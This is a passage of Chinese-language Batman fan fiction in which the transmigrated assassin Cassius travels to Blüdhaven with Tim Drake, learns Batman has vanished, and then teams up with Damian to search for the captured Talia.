看着图片上那个漂亮的花体字签名，卡修斯忽然想起了早些时候梦中的一些细节。 他梦到塔利亚握着杰森的手，亲手杀死自己的那一幕。 不管是真是假，梦里的痛感太真实了。 卡修斯想要报梦里的一刀之仇。 第60章 “吱。” 赶走提姆后，卡修斯忽然变得忙碌起来。客人们像是约好了似的，一股脑都赶在下午过来，害得他连煮好的粥都没来得及吃两口。 他打开网站看了一下，网站的在线预约系统显示，今天下午的时间都是在提姆离店后短短10分钟内约出去的。 更离谱的是，他发现店里的在线预约系统里，之后的三天时间都被设置成了无法预约。 他瞥了一眼店铺的后台，发现韦恩少总不知道什麽时候，把他自己也设成了超级管理员。 难道韦恩集团给他的工作量不饱和吗？ 卡修斯有点哭笑不得。 忙里偷闲时，他发了条短信给提姆：你做了什麽？ 提姆回了他一张截图，是韦恩集团少总提姆·德雷克的私人社交账号截图，最新的一张拍的是布鲁斯·韦恩正坐在占卜桌前翻起一张塔罗牌的场景。 其他什麽话都没说。 不得不说，提姆作为资深斯托卡，偷拍真的很会找角度。卡修斯明明记得当时的场景普普通通，在提姆的镜头下，布鲁斯只露出1/4的侧脸，而他则完全没有露脸，只拍到他随意搭在手边剩余塔罗牌的手上。桌上点燃的线香烟雾氤氲，让整个画面笼罩了一层朦胧的神秘感。 卡修斯第一次觉得，自己的手居然这麽好看。 怪不得他的店铺流量来得这麽突然。 卡修斯：感谢提姆少总送我这泼天的富贵！ 为了表达感谢，他还特意发了几个谢谢老板的表情包。 提姆回他的消息就是给了他一个地址，让他收拾好行李，晚上8点韦恩大厦见。 卡修斯舍不得这波流量，非常不想离开，一心只想工作。 他在短信中委婉地表达了自己的想法，希望接着韦恩总裁这1/4脸的东风，这两天好好算命，努力赚钱，回报金主大大的馈赠。 可惜提姆不但做罗宾的时候精益求精，做资本家也是相当会谈生意。他洞悉了人性（卡修斯）的弱点，用非常取巧的方式让自己的说服对象屈服了——他又给卡修斯发了一张图片，图片上正是韦恩大厦顶部的停机坪，上面正停着一架F35-B战斗机。 其中的暗示意味相当明显。 没有一个男人能拒绝战斗机，卡修斯立刻屈服了。 一想到他居然有机会把战斗机当私人飞机坐，顿时有种软饭真好吃的感觉。 当他按捺着激动的心情，接待完最后一个预约客人，随便收拾了几件衣服，甚至都不想坐城际地铁，而是斥巨资打了车，以最快的速度抵达了韦恩大厦。 晚上8点，大厦的员工已经下班。在他报了姓名后，执勤保安通过对讲机确认他的身份，引导他坐上直达楼顶总裁办的专用电梯。 等楼层显示到顶层的时候，一个身着藏青色正装的身影从缓缓打开的电梯门前慢慢显现出来。 虽然卡修斯见过好几次提姆正装的样子，可还是数这次见到的最为正式，他的头发被发胶固定的一丝不苟，将他完整的脸部轮廓全部露出来。 提姆脸部的轮廓线没有杰森那样分明，甚至都比不上迪克，但却有一种独属于他自己的锋利。这让卡修斯产生一种错觉，就好像面前的少年只用了短短几个小时，就完全褪去了原本17岁少年的青涩，完完全全地长成了一个大人。 在那双湛蓝色的眼睛完全出现在自己眼中的时候，卡修斯觉得自己的心脏不受控制地狂跳好几拍。 他不由自主地将手抚上自己心脏的位置。 提姆看到他的动作，嘴角慢慢勾起，他挑起一边眉毛说：“怎麽？心动了？” 卡修斯觉得自己脸有些热，但他坚决不能承认，所以非常不优雅地翻了翻眼睛，嘴硬道：“人类的心无时无刻不在动，这是常识。” 说着，他嫌弃地拍开提姆伸出的手，从电梯里跨了出来。 提姆不以为意地收回手，没有继续撩他，指着不远处的另一部电梯：“走那边，去楼顶停机坪。” 卡修斯想到图片里那架帅气的战斗机，心跳忍不住又漏跳几下。 他心里顿时松了一大口气。 原来自己刚才并不是心动，而是看到或者想到美丽的事物后，不由自主产生的生理反应。 坐在电梯上的时候，卡修斯一直盯着亮着的电梯按钮，脸上的兴奋和期待完全掩饰不住。 提姆嘴角动了动，像是想说什麽，但还是没开口，而是低下头，掩饰了脸上一闪而过的心虚。 一分钟不到的时间，电梯再次停下来，一股气流随着打开的电梯门钻了进来，最后整个扑在了卡修斯的脸上，随之传入电梯的还有巨大的噪声。 卡修斯脸上的兴奋表情凝固住了，他慢慢走进，站在停机坪边缘，狂风卷着螺旋桨的轰鸣声将他的头发吹的乱七八糟，提姆率先走到选题旁，定制西装被气流吹出优雅的弧度，他再次朝卡修斯伸出手，笑道：“上来吧。” 卡修斯颤抖着指着面前的直升机，扯着嗓子喊：“我的战斗机呢？！” 提姆向下走了两步，抓住卡修斯的手腕，将他直接拉上飞机。 “晚上好，希尔先生。”坐在驾驶舱的阿尔弗雷德礼貌地向他打了个招呼。 卡修斯不好意思当着尊敬的韦恩庄园管家的面任性，只能任由提姆将他按在了座位上。 阿尔弗招呼完他之后，就转过头摆弄飞机的操作台，不再关注他们，卡修斯在确认戴着耳机的阿尔弗听不到自己说话后，瞪着提姆恶狠狠的说：“你这是诈骗！” “我只是发给你看看，又没说晚上我们坐那个去，再说了，那种战机至少需要150米跑道，楼顶停机坪怎麽可能有起飞条件？” 说完，他顺手将阿尔弗递过来的降噪耳机扣在他头上。 “这是常识。”他无声地做了个口型，又狡黠地对着卡修斯笑了笑。 卡修斯看出来了，这个罗宾的报复心一点也不比其他罗宾少，到底是谁说三代罗宾是最温顺的罗宾的？谣言，这都是谣言！ 阿尔弗听到了卡修斯的心声，他无声地挑了挑眉，但并没有发表任何意见。 螺旋桨的转速越来越快，他们很快就升了空。 卡修斯还在为自己这麽容易就上当受骗感到生气，闭着眼完全不想搭理他。 提姆看他不想理自己，就拿出手机给他发短信。 【别生气啦，下次带你坐蝙蝠机？】 卡修斯感觉到手机震动，拿起来看了一眼，然后从鼻子里重重冷哼一声。 十动然拒！ 他和罗宾之间的信任已经完全被瓦解啦！ 【我保证。】 卡修斯眼睛慢慢睁开一小条缝隙，就看到提姆蓝色的眼睛像是有反光似的，正弯弯地看着他，眼神里洋溢的是掩饰不住的喜爱。 太犯规了，面对这样一双眼睛，就算是神仙，也很难继续生气，谁说只有超人的狗狗眼让人难以招架的？罗宾狐狸似的眼神也让人很难抗拒啊。 还能怎麽办？当然是选择原谅他啦。 卡修斯将提姆发给他的两条短信截图保存了下来。 “行，我就等着做你的腿部挂件，带我坐蝙蝠战机了。” 听说蝙蝠战机都是垂直起降的，那很哇塞了。想想就很刺激！ 提姆笑出了声：“没见过你这麽嚣张的腿部挂件。” 卡修斯想了想，感觉自己面对提姆的时候，确实有点得意忘形。 难道这就是传说中的“被偏爱的有恃无恐”吗？ 自我批评了一会儿，他忽然惊觉眼下并不是只有他和提姆两人，还有一个能听到他心声的管家在，他下意识的看向驾驶座的阿尔弗雷德，可对方戴着耳机和大大的飞行墨镜专心驾驶，一丁点儿多余的表情都没有，就像他是个毫无存在的路人甲似的。 提姆用手指点了点他的手背。 卡修斯条件反射的抽回手：“又怎麽了？” “看下面。”提姆说。 卡修斯转头，顺着舷窗往下看去，布鲁德海文的跨海大桥已经亮起了灯，正在他们脚下铺成一条发光的缎带，车流在其间穿梭，拖拽出橘红与莹白交织的光轨，他们如同蜂鸟般从闪耀着星星点点灯光的城市上空划过，这样平凡又壮丽的景色，竟让他有些恍惚，就好像他从未穿越过，这里也只是他所在那个世界中最寻常又美丽的景色。 “在想什麽？” 直升机已经开始缓降，提姆轻声开口询问。他看到卡修斯的脸上有一种他从未见过的伤感。 卡修斯摇了摇头，笑道：“风景不错。” 提姆抬头看了眼前方的阿尔弗雷德，但此刻的管家只履行一个飞行员的职责，没有和他进行任何眼神交流。 提姆短暂地希望，这个时候，他要是能听到卡修斯的心声就好了。 飞机停稳后，提姆率先躬身走出机舱，扭过头，再一次向卡修斯伸出手。 “下来吧。” 这一次，卡修斯没有再拒绝他，搭上他的手借力从飞机上跳了下来。 等他们走远几步，阿尔弗雷德远远朝他们做了个手势，飞机再一次起飞，机身倾斜，转向，朝着他们来的方向飞走了。 提姆带着他走下安全楼梯，又直接从顶层电梯下去。 直升机是停在一个酒店楼顶的，这家酒店应该也是韦恩家的产业，因为提姆带着他并没有去楼下大堂办理入住，而是直接去到客房层，又从口袋里掏出一张卡刷开了一间装修相当豪华的客房。 “进来吧。” 卡修斯站在门口有点犹豫。 “我们住一间？” 提姆理所当然地点头：“是啊。这是酒店给我预留的房间。” 卡修斯干笑一声。 “算了吧，我还是自己重新订一间，我们住一起不太方便。” 本来他是无所谓的，两个大男人随便凑合凑合就行了，但现在他明明知道提姆的心思，就绝对不能跟他再住一间了。 而且，晚上他还要想办法绕开提姆，去和塔利亚会面，如果两人住一间的话，他连单独行动的机会都没有了。 提姆将手中的房卡插好，房间里顿时明亮了起来，不过他又重新走回门外，将卡修斯推了进去。 “开玩笑的，这是你的房间，安心住吧，我住隔壁。” 说着，他走到隔壁房门前，刷了另一张房卡。 很快他的身影就消失在门梁之后，不过半秒钟，又探出头来：“不过你刚才要是只是假装客气一下的话，我们还是可以住一间的。” 卡修斯转过脸，头也不回地走进房间，房门重重关上了。 这个破小孩，真是气死他了。 等卡修斯洗完澡，看了眼时间，已经快10点，他知道，距离塔利亚和他约定的时间还有两个多小时。 他看了眼地图，从酒店到塔利亚要求的位置，打车的话需要20分钟。如果他打算提前半个小时踩点做准备的话，那麽他还有1个小时和提姆斡旋。 卡修斯决定先去他的房间打探一下情况。 出门前，他换好了晚上准备出门时穿的便装，只是将袖剑暂时留在了房间里。 轻敲三下门，如果没人回应的话，那他应该就是去找迪克了，卡修斯就准备提前出门，等他办完了事儿，再回来面对罗宾的怒火，前提是他还回得来的话。 不过他提前出门的计划落空了，门很快开了，提姆显然也洗完了澡，正穿着酒店提供的白色浴衣，不过他的头发还没吹，正湿漉漉地贴在头上。 他开门的时候，另一只手还拿着手机，所以卡修斯就指了指门外，意思是等一下再过来。提姆朝他让了半步，示意他先进来。 “你需要什麽？”提姆很快挂了电话，然后抬头问道。 卡修斯摇头：“我什麽都不需要，就想问问看我们明天什麽安排？” 他说着话，走到房间靠床的开阔大窗之前向外远眺，河对岸的蝙蝠灯亮起来了，卡修斯啧啧称奇，没想到在布鲁德海文居然都能看到蝙蝠灯。 提姆一边说话一边打开盥洗台柜子：“上午你可以多睡一会儿，醒了以后给我打电话，我直接带你去看几个比较适合的地段，你只需要选你喜欢的店面就可以了。” 卡修斯没想到他还真的打算带他去看店铺，忍不住瞪大眼睛：“你们来真的啊？” 他还以为让他来布市选址只是布鲁斯准备的将他和提姆一起从哥谭支开的借口呢。 他从柜子里拿出一个吹风机，将它插进酒店写字台旁边的电源，然后坐在椅子上，一边单手吹头发，一边打开笔记本计算机，单手操作。 卡修斯实在看不下去，走到他身后接过他手上的吹风机。 “我来把。” 提姆将吹风机递给他，立刻趴在计算机前开始看邮件。 “谢谢。” 吹风机的声音并不是很大，两人说话声音稍微提高些的话，还是听得清的。 提姆一边回邮件，一边提高音量对他说：“提前看看也没什麽不好，反正你也没打算在哥谭常驻不是吗？等刺客联盟的事解决了，你想来布市的话，刚好可以直接过来，如果想去纽约的话，我也可以帮你在纽约看看店铺。” 卡修斯没想到提姆居然连他不想在哥谭待，甚至想去纽约都看出来了，他忍不住拽住他一小撮头发：“你真听不到我心里在想什麽吗？老实交代！” “嘶……轻点拽。”提姆小声抗议，“当然，我骗你干什麽。” 就着吹风机嗡嗡的声音，卡修斯的手指穿过提姆的头发，耐心的一簇一簇的抓着吹，他发现提姆的发质很软，总之跟他这个人的性格十分的不像。 短发不算太难吹，不到三分钟的时间，他的头发就全干了。提姆抬起头看了看写字台旁边放着的圆镜中的自己，夸赞道：“你吹头发的技术挺好的。” 卡修斯用手指敲了敲他的脑袋顶：“别把你激励员工那一套放我身上，不管用，我只是帮你吹干了而已，有手就能干。” 提姆才不管，他美滋滋的在镜中欣赏了一下自己平平无奇的发型，说：“真挺好的，你经常帮人吹头发？” 卡修斯的脸上挂着一个假笑：“除了艺高人胆大的提摩西少爷您，还有谁敢让一个刺客联盟的刺客帮他吹头发呢？” 提姆从镜子里看了他一眼，说：“你不是刺客。” 卡修斯做作的表情顿了一下，才继续开玩笑似地说：“你能重说一遍吗？让我也录个音，以防以后你翻脸。” 提姆再次让自己的眼睛从计算机屏幕上抬起，看着卡修斯说：“你想做什麽？” “没想做什麽，快看你的工作邮件吧，免得明天一早，韦恩集团因为没有及时收到提姆少总的指示而陷入崩溃。” 提姆说：“我没有看工作邮件，是迪克发给我的一些数据，让我帮他找找看，还有什麽值得注意的线索。” 卡修斯下意识的问了句：“到底什麽案子？” 问完他才意识到有些不妥，自己好像不该问。他刚想再说些什麽揭过这个话题，就听到提姆又开口了： “是好几起儿童失踪案，本来都在各个街区的警署，最近刚刚并案调查，才分到迪克这里。” 卡修斯的神情也变得凝重起来，不过他还有点疑问，迪克不是每晚都在守护这座城市吗？这种案件，他怎麽会毫无察觉？ 于是他也问出了口。 提姆看了他一眼，说：“上一次你在病房提到猫头鹰法庭的时候，应该涉及到和迪克有关的内容了，布鲁斯虽然不让他参与，但他怎麽可能放弃，自己在偷偷调查，所以忽略了夜巡。” 行，这里居然还有自己的事。 但卡修斯一时间也没法反驳。 他又想了想，继续问道：“会不会和疯帽匠有关？” 虽然这家夥是哥谭疯子，但万一他就是要跨城作案呢？ 提姆又笑了一声：“你知道的还挺多。我已经查过了，不是他，最近他一直都在阿卡姆好好待着。” 查案不是他的强项，卡修斯感觉他也插不上话，他看了眼时间，感觉差不多了，于是故意打了个哈欠，做出一副困倦的样子。 提姆看着他说：“困的话先去睡吧。” 卡修斯等的就是这句话，他立即点了点头：“行，那我先去睡觉了，警告你哦，不许再像昨晚那样，半夜爬我的床，再发生这种事，我以后绝对不会再考虑你了！” 提姆笑了一声，冲他挥了挥手：“知道了，绝对不会再打扰你睡觉的，快去睡吧。” 卡修斯感觉自己的目的应该是达到了，于是心满意足的打算离开。走之前他又不经意瞥了一眼窗外，发现蝙蝠灯还亮着。 在哥谭的时候，印象里蝙蝠灯最多亮个15分钟，蝙蝠侠就会响应，戈登局长见到蝙蝠侠后，就会关灯。卡修斯一直猜测，是那个灯功率太大，多开一分钟就是好几度电，警察局长勤俭持家，为了省电费才这麽精打细算的开灯。 但今天，这个灯似乎已经亮了有半个小时了。 卡修斯指着窗外说：“这个灯，它是不是亮了有好久了？” 提姆也转头望向窗外，又拿起手机看了看时间，随后说道：“没关系，有时候蝙蝠侠夜巡到离GCPD比较远的地方，戈登局长确实需要多等一会儿。” 但他心里已经打算等卡修斯走了就联系阿尔弗，看看是不是有什麽事发生。 可还没等卡修斯离开，他的罗宾通信器就响了起来。 提姆立即接通了：“阿尔弗，出什麽事了？” 卡修斯眼看着提姆的脸色忽然变了，他的心情顿时也忐忑起来。 “怎麽了？” 等他挂断通信，卡修斯才小心翼翼地问：“怎麽了？” 提姆有两秒钟没什麽反应，然后才忽然站起来，说：“我要回哥谭。” 卡修斯一听就知道事情可能严重了，他立即再问道：“蝙蝠侠怎麽了？” 提姆没有避讳他，直接脱了浴袍开始换衣服，他的速度非常快，眨眼间就穿上了最轻便的服装。 “蝙蝠侠失联了。” 他快速回了一句。 卡修斯的头皮也炸了一下。 他下意识问道：“利爪？” 提姆忽然停住脚步，盯着他问道：“你知道什麽？” 卡修斯一直觉得猫头鹰法庭没那麽快行动，总觉得这段剧情的很多前置条件还没达成，上午还好好的，超人甚至都还在，怎麽就会突然失联呢？ 他张了张口，想要说蝙蝠侠有可能困在猫头鹰法庭的迷宫中了，但那种熟悉的窒息感又来了。 这次卡修斯学聪明了，他马上停止了思考，快速深呼吸了几口，见提姆还直直盯着自己，于是他抿了抿唇，说：“猫头鹰法庭在利用哥谭的下水道系统，建了一座迷宫，那座迷宫是用来埋葬报废的利爪的，那里只进不出。” 提姆马上明白了他的意思。他冲卡修斯点了点头：“谢谢。” 卡修斯问：“要我和你回去帮忙找吗？” 提姆其实很希望卡修斯能提供更多信息，但刚才卡修斯瞬间的呼吸停顿和脸色骤变他其实注意到了。他担心如果卡修斯跟在他身边的话，他会忍不住逼问他。 他脸色难看地摇了摇头：“这是哥谭事务，蝙蝠侠不希望普通人介入太深，迪克也收到消息了，他会和我一起回哥谭，我们会找到他的。你留在这儿，明天的行程我会安排这边分公司的员工带你去。在蝙蝠侠有消息之前，你最好留在这儿。” 他已经预感到哥谭即将迎来腥风血雨，他也不希望卡修斯参与进来。因为他现在已经知道，卡修斯最大的愿望也许只是过普通人的平凡生活。 卡修斯点了点头：“那你注意安全。” 提姆不再耽搁，直接推门走了出去。 不一会儿，卡修斯就听到了战机的声音。他站在窗前，看到一抹蓝色从天空一闪而过，消失在他的头顶。 那应该是夜翼。 很快，战机引擎声也在他头顶响了起来，但是连一分钟都没停留，又渐渐远去了。 本来还担心晚上出门去找塔利亚被发现，但现在看来，自己的担心倒是多余了。 卡修斯一回到自己房间，就将袖剑直接装在自己右手小臂上，同时又从随身的行李里拿出一把枪——他自己当然是没有的，这把枪是杰森的，当初他本想用它杀死小丑，后来在小丑的“善意提醒”下，用雇佣杀手的能量剑结果了他。 他将枪别在腰后，又穿了件飞行夹克，将袖剑和枪隐在了衣服下。 出了酒店门，他直接叫了辆车，直奔目的地。 等坐在车上，卡修斯又看了一眼地址，这才发现，这个地点居然是在机场附近。 那里前不着村后不着店的，很难理解塔利亚为什麽把见面地点定在那里，难道是因为很少有人在机场附近做停留，那里是个杀人埋尸体的好地方？ 20分钟后，卡修斯下了车，司机一溜烟跑了，卡修斯再看了眼时间，和他预估的差不多，提前半个小时到达了目的地。 天上飘起了蒙蒙细雨。 卡修斯摸了下飘在脸上的雨水，不觉得这是个好兆头。 他先环顾了一圈四周，这里很空旷。随后就打算找一个比较合适的藏身地点和撤退路线。 就在他转身的时候，忽然感觉到了一阵诡异的风。 在他的脑子意识到之前，千锤百炼的身体记忆已经先动了起来，袖剑“咔嗒”一声出鞘。 袭击者的动作相当快，武士刀裹挟着雨滴刺向他的咽喉时，卡修斯闻到了一股熟悉的沙漠玫瑰的气息——这是刺客联盟特供的高级熏香，有资格使用的人非常之少。 好吧，不需要的知识又突然增加了。他在心中吐槽。 卡修斯循着香味侧身闪过针对自己咽喉的致命一击。 但他还没还没有看清偷袭者的身形。 “太慢了。” 一个稚嫩的声音从他侧边响起。 卡修斯一惊，刀光再次劈开雨雾直取他的前胸。他旋身避让，强行和对方拉开距离后，从后腰抽出枪，举枪就射。 子弹擦着对方的耳际射空了，又换来一声嗤笑：“枪法和丧钟一样烂。” 这次卡修斯终于看清了，是一个非常娇小的身影，总之绝不是一个成年女性的身量。 那个身影欺近他，卡修斯再次举起右臂格挡。 袖剑与武士刀相撞迸出火星，卡修斯在被近身的瞬间看清敌人眼底的翡翠色。 “达米安？”他格开劈向太阳xue的一击，惊叫道。 男孩旋身踢中他持枪的手腕，枪械飞了出去。 卡修斯借势后翻，袖剑猛地刺向对方膝窝，却被预判般地架住刀刃。 武士刀压着他的脖颈将他抵在路边。 “混账仓鼠，是谁教你直呼主人的名讳？”达米安骑在他身上，刀刃抵住他的喉结，冒出一句阿拉伯语。 卡修斯：…… 啥玩意啊你就成我主人了？ 还有，你叫我什麽？什麽仓鼠？怎麽还把我开除人籍了呢？信不信我咬你？ 卡修斯瞪着他半天没说话。 达米安看着他，绿眸里闪动着冷酷的光芒。 “说话，哑巴了？” 你都说我是仓鼠了，仓鼠能听懂人类的语言吗？ 卡修斯没吭声。主要是不知道这熊孩子想听什麽。 但他感觉脖子上的刀刃紧了紧。 鬼使神差地，他张口道：“吱。” 身上的男孩松开了刀刃。 卡修斯：…… 啊？ 这也行？【你现在阅读的是 】 60-70 第61章 我养的小动物果然最可靠了。 男孩从他身上站起，又后退了几步，给卡修斯让出能自己站起来的距离。 就在这时，卡修斯忽然听到自己的脑海里响起刚才听到的那个明明很稚嫩，却故作威严的声音： “母亲说吱吱失忆了，我看可不一定，要不然为什麽他还是和以前一样放肆，总是僭越直视本少主的眼睛。不过作为仓鼠，他不懂人类世界的尊卑观也是情有可原的。” 卡修斯心中再次出现6个点。 不知道该先吐槽自己居然能听到达米安的心声，还是先吐槽达米安的心声真的很符合一个8岁儿童的认知。一点也不像智商很优越的样子。 “他怎麽还躺着，难道在等本少主拉他吗？才离开联盟几个月，就变得这麽没用了？” 面前被兜帽遮住大半张脸的男孩的表情在夜色和阴影的加持下看不清楚，但并不影响到卡修斯感觉的到，对方越来越不耐烦了。 “不过他要是再吱一声，本少主倒也不是不能拉他。” 卡修斯：“吱。” 达米安：“TT。” 他撇了撇嘴，将手里的武士刀收回刀鞘，然后向卡修斯伸出了一只手。 卡修斯很自然地将手递给了他。 达米安将他从地上拉起来，还不忘嘲讽一句：“怪不得你要从刺客联盟逃走，没用的东西确实不适合在那里久留。” 卡修斯眨了眨眼，无意间获得了一个关于这具身体的信息。 原来“他”是从刺客联盟逃走的啊。 那麽问题来了，既然是逃走的，天大地大，“他”哪里不能去，为什麽偏偏去了哥谭？ 还有，当初看漫画的时候，达米安刚回到布鲁斯身边的时候，到底有多讨厌他可是知道的，而且，就算在布鲁斯身边待了足够久的时间，达米安也非常痛恨背叛。 像“他”这样，从刺客联盟逃走的人，说一句叛徒也不为过，可听达米安心声的语气，他好像对自己的出逃并没有很生气。 这样想着，卡修斯就问出口了：“我从刺客联盟逃走，你难道不生气吗？” 男孩终于将一直盖在头上的兜帽掀开，露出了他刺猬似的短发，用一种理所当然的语气说：“就算你逃走了，也永远都是我养过的仓鼠。” 说罢，他短暂地停顿了一下，用一种不同于刚才那麽倨傲的语气说：“刺客联盟不适合动物生存，我在那里养过的东西，大多都活不下来，你离开也好，至少还活着。” 夜色太黑，雨雾又有些朦胧，让卡修斯有些看不清，男孩说这话时，到底有着怎样的表情。 卡修斯试探着说：“可是塔利亚派出了许多杀手，想要杀我。” 达米安的表情闪过一瞬间的不自然，但他很快掩饰住了自己的失态。 “我无法改变母亲的决定，但你也用实力证明了，你有继续活着的价值。”男孩的语气又恢复了之前的倨傲。 卡修斯觉得自己本来应该非常讨厌这种没礼貌的熊孩子的，但不知道怎麽回事，他居然对面前这个熊中之最的熊孩子完全讨厌不起来。 这是原身留下来的身体记忆吗？ 其实卡修斯已经或多或少地意识到，自己的记忆可能是真的出了问题，他真正穿越的时间也许并不是三个月前，而是更早。 可不知为什麽，他一直都很抗拒去思考这种可能性，固执地将自己完全不记得的经历归咎于这具身体原本的主人。 现在，达米安也用这种熟稔的语调跟他说话，而他对这个孩子，却没有面对拉尔斯时怀有的半分尊敬或者说是恐惧之情。 如果他对刺客联盟所有事物的反应都出自于这具身体原主人的记忆，那他作为拉尔斯口中，从小受训与刺客联盟的杀手，又怎麽会不对达米安怀有同样的敬畏之心呢？毕竟这个小孩号称恶魔之子，在刺客联盟也早早就杀人如麻。 更何况，现在卡修斯能听到这孩子的心声，按照不久前蝙蝠侠和罗宾的分析，能被他听到心声的都是超级罪犯，那达米安现在的阵营…… “母亲说你失忆了，你是不是不记得我了？”男孩见他许久没说话，忽然问道。 卡修斯又眨了下眼，眨掉附在睫毛上细小的水雾。他的大脑飞速旋转，按照现在的情形，最好还是顺着达米安说话比较好——他已经有塔利亚这个敌人了，安全起见，暂时牢牢抱住达米安少主的细嫩但很结实的大腿，总没坏处。 卡修斯点了点头，又摇了摇头。 达米安的眉毛皱的更紧了：“这是什麽意思，你的脑子被祖父的药物烧坏了吗？” 看来他也知道这具身体在刺客联盟曾做过人体实验的事。 “刺客联盟的事，我确实都不记得了。”他的话音刚落下，就看到达米安看他的眼神变了，比初见时更冷酷了，他毫不怀疑，如果自己再说些什麽不中听的话，对面这个比他的腰高不了多少的儿童，可能就要再一次持刀行凶了。 于是卡修斯马上说：“但关于你，我还是记得的。” 达米安的脸色缓和了一些，但他也不是那麽好糊弄的，他双手抱臂，做出一个大人才有的表情和动作，斜睨着他说：“你记得什麽？说来听听。” “他要是敢骗我的话，我就把他抓起来关笼子里！” 卡修斯：…… “我叫吱吱？” 他赶紧说。 达米安的脸色终于恢复正常了，他拇指用力，将拔出一个刀尾的刀身铛一声收回刀鞘，又冷哼一声，说：“本少主亲自给你起的名字，你当然必须得给我记得！” 谢谢，根本没记起来，完全是靠听你的心声知道的。 而且，他不得不在心里吐槽一下达米安这个让人捉摸不透的起名水平。 凭什麽其他动物就可以叫提图斯啊，歌利亚啊的，到他这儿就这麽接地气了？ “你那是什麽表情，难道是在质疑本少主吗？” 卡修斯赶紧摇摇头：“不敢。” 他怕达米安再追问其他两人曾经相处的其他细节，马上转移话题说：“我以为约我见面的是塔利亚，怎麽会是你？” 达米安的眉头又狠狠皱成了一团，冷声提醒道：“我必须提醒你，不要再仗着我的宠爱，口无遮拦。我母亲的名讳不是你能直呼的，再让我听到一次，我将亲自惩戒你，以免将来，死于我母亲的刀下。” 卡修斯真的很想翻白眼，但他忍住了，因为仓鼠是不会翻白眼的。眼下为了抱紧达米安的大腿，探听到更多有用的情报，他就必须抓稳仓鼠人设。 “哦。”他心不在焉的答应道。 达米安没有计较他的态度，转而回答了他的问题：“母亲失联了。” 卡修斯愣了一下，第一个反应竟然是：塔利亚不会跟布鲁斯一起被困在猫头鹰的迷宫里了吧？ 不过达米安很快补充道：“我怀疑是丧钟抓走了母亲。” 行吧，是我想太多了。 不过这让卡修斯又想起一件事。按照当下的情形，应该是塔利亚来哥谭找布鲁斯，将达米安暂交给孩子的父亲之后，再去找丧钟，从而踏入陷阱，被抓的，但现在是什麽情况？ 卡修斯没说话，等达米安继续说。 “抓了母亲后，丧钟让刺客联盟的人全部撤出了哥谭。” 达米安继续说。 卡修斯想了想这里面的关系。刺客联盟留在哥谭的人，目前的重要任务之一就是要他的命，现在丧钟让人撤离了哥谭，那他岂不是间接的帮了自己？ 他还没有大度到去担心一个下命令要杀死自己的人。 卡修斯垂着眼，脸上也没什麽表情。 达米安接着说：“我要你帮我。” “什麽？”卡修斯慢吞吞地问。他几乎能猜到达米安想让他帮忙做什麽，但他不是很想帮。 “我知道祖父和母亲都对你不好，但他们是我的亲人，而我是你的主人。”达米安说。 卡修斯看着他，没说话。 达米安抿了抿唇，继续说：“我救了你，养了你，你不能背叛我。” 卡修斯很想说：但是我不记得了。 这时，他听到达米安的心里说：“当初是我看着你逃走的，小动物难道不都是知恩图报的吗？” 卡修斯等了一会儿，可达米安这句在心里说过的话，他始终没有说出声来。 他忽然有一点点动摇了。 “你是无人可用，所以只能找我了吗？”卡修斯问。 达米安哼了一声：“当然不是。我自己也可以去，只不过花费的时间更久一点而已。可以，但没必要。” “丧钟杀死了母亲的随从，现在刺客联盟陷入混战，我的确无人可用。” “你的母亲为什麽没直接带你去找你父亲？”卡修斯又问。 达米安皱眉：“吱吱，你的问题太多了。” 卡修斯耸了耸肩，说：“你也知道，仓鼠是很胆小的，我必须得问清楚，才好确定下一步该干什麽。” “不愧是我养过的仓鼠，永远这麽机敏。” 卡修斯觉得达米安的认知可能出现了病理性的问题。 “她本来是这麽打算的，但中途遇见一个叫林肯·马奇的人，后来就突然改了主意，暂时在哥谭隐匿了下来。” 直到丧钟技高一筹，抓住了塔利亚。 卡修斯在心中默默为他补充。 “你想让我帮你救你的母亲？” 卡修斯问。 “是。跟着我去救她，母亲也许会放弃继续让刺客追杀你。”男孩说。 “或者告诉我，为什麽祖父一死，她的第一个命令就是杀你。” 如果是他说出来的这个理由，卡修斯依然没什麽兴趣。因为他知道，没有蝙蝠侠的介入的话，塔利亚说不定真的就死定了。 如果拉尔斯和塔利亚都死了，那还有谁能威胁到他的生存呢？ 偏偏是达米安藏在心里的，那个没说出口的理由，让他心动了。 虽然卡修斯一遍遍告诉自己，往事不可追，好奇害死猫。 但他心里还有一个微弱的声音，想要知道发生在他身上的这一切究竟是怎麽回事。 而且—— 卡修斯抬眼，看向这个和布鲁斯的眉眼几乎一模一样的孩子。 如果达米安存在于这个宇宙，是不是他注定会回到韦恩家，成为下一任罗宾？ “我可以帮你。” 卡修斯忽然开口道。 达米安的嘴角动了动，但很快又刻意保持了平直，假装自己非常稳重。 “我就知道，我养的小动物绝对都是最忠诚的！” 卡修斯感觉自己眼睑不受控制地抽动了几下。 终于能体会到布鲁斯他们听到自己的心声是什麽样的心情了。 “但我有一个条件。” 卡修斯说。 达米安没想到他居然还有条件，表情有些不高兴，再开口的时候语气有点臭：“说。” “我也养了只小动物，以后你会见到。等到那一天，我希望你能善待他，不要欺负他。” 10岁的小男孩，就算受过再多的训练，他的表情还是藏不住的。 达米安在听到“小动物”三个字的时候，眼睛都亮了一下。 他白了卡修斯一眼，说：“我不但不会欺负动物，只要让我看到谁在欺负动物，他的死期就到了。” 卡修斯满意地点了点头。这才说道：“行，说吧，想让我怎麽帮你找人？” 达米安说：“我知道祖父在世界各地都设有避难所，丧钟要藏人刑讯的话，肯定是将人放在避难所最安全，以这里为中点，你东南，我西北，由近极远，一个个查过去，应该很快就能找到丧钟。” 卡修斯：…… 说不定找到丧钟，你亲爱的母亲差不多都凉了。 卡修斯想了想，问道：“你知道拉……你祖父，在因特拉肯有基地吗？” 达米安眯了眯眼：“那是祖父极隐蔽的一个避难所，你是怎麽知道的？” 卡修斯漫不经心地说：“猜的。” 达米安若有所思的看着他。 “我听祖父和母亲聊天时曾说，吱吱身上的实验，和什麽未来还是过去有关，难道他真的有预知能力？” 卡修斯的心重重往下沉了一下。但他表面上保持着镇定，没有露出任何端倪。 过了一会儿，达米安才说：“我们一起去因特拉肯。” “不分头行动了？”卡修斯笑着问。 “我相信你。”达米安说完，接着道，“走吧。” 卡修斯跟着他，在微雨中快速前行。 “去哪儿？”他问。 “机场。”达米安言简意赅的回答。 呵，原来这才是你选址在机场附近的原因。 卡修斯还想问，就一晚上也等不了了麽？ 他真的不想24小时内坐两次飞机。 “对了，你养的小动物是什麽？” 达米安一边疾走，一边好奇地问。 行，未知小动物的品种要比自己亲妈能不能获救还重要。 “狐狸。” 卡修斯说。 “等找到母亲，第一件事就是摸摸吱吱养的狐狸。” 